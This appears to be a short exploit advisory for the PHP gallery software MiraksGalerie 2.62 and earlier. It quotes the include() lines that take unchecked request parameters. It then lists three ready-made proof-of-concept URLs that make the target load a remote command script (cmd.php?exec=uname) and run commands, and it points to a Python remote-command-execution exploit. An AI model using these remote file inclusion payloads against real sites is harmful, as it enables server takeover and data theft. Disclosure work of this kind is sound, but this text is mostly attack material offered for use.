Bug:

pcltar.lib.php: line 34 - 35

---

if (!isset($g_pcltar_lib_dir))
$g_pcltar_lib_dir = "lib";
[etc…]

galimage.lib.php: line: 157 - 158

---

for($i=count($listconfigfile)-1; $i>=0; $i–)
include($listconfigfile[$i]);

galsecurity.lib.php: line: 90 - 93

---

for($i=count($listconfigfile)-1; $i>=0; $i–)
{
include_once($listconfigfile[$i]);
}

Proof of concept:

http://example/[mg_path]/pcltar.lib.php?g_pcltar_lib_dir=http://example/cmd.php?exec=uname
http://example/[mg_path]/galimage.lib.php?listconfigfile[0]=http://example/cmd.php?exec=uname
http://example/[mg_path]/galsecurity.lib.php?listconfigfile[0]=http://example/cmd.php?exec=uname

you can use too the exploit f_mg-2.62.py

Example sploit:

#!/usr/bin/env python

MiraksGalerie <= 2.62 Multiple Remote command execution

python f_mg-2.62.py <remote_addr> <remote_port> <remote_path>

<remote_cmd> <command>
